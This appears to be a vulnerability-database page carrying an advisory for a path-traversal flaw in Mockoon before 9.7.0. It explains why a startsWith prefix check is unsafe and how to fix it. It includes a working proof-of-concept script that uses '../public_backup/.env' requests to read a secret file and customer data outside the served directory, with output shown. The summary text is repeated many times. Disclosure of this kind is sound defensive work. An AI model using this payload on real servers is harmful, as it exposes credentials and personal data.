Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.
## Summary
A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
## Details
`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:
```ts
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336
const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled
const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) {
if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355
throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
}
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362
throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}
```
With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.
`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).
## PoC
```sh
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/[email protected] >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
console.log("[*] intended file (public/index.txt) :",await g("index.txt"));
console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env"));
console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh
```
Output:
```text
[*] intended file (public/index.txt) : public landing page
[+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, [email protected], 555-22-7741
```
`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`
CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
Risk history
Compare earlier KEV listings and daily EPSS scores. Advisory wording and affected versions have a separate history.
When does an EPSS score appear as a change?
A prediction change is reported when EPSS rises from below 10% to 10% or higher. Other daily score changes remain in this history.
Advisory history
13 saved versions
See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.
How advisory history works
Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…
Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBase…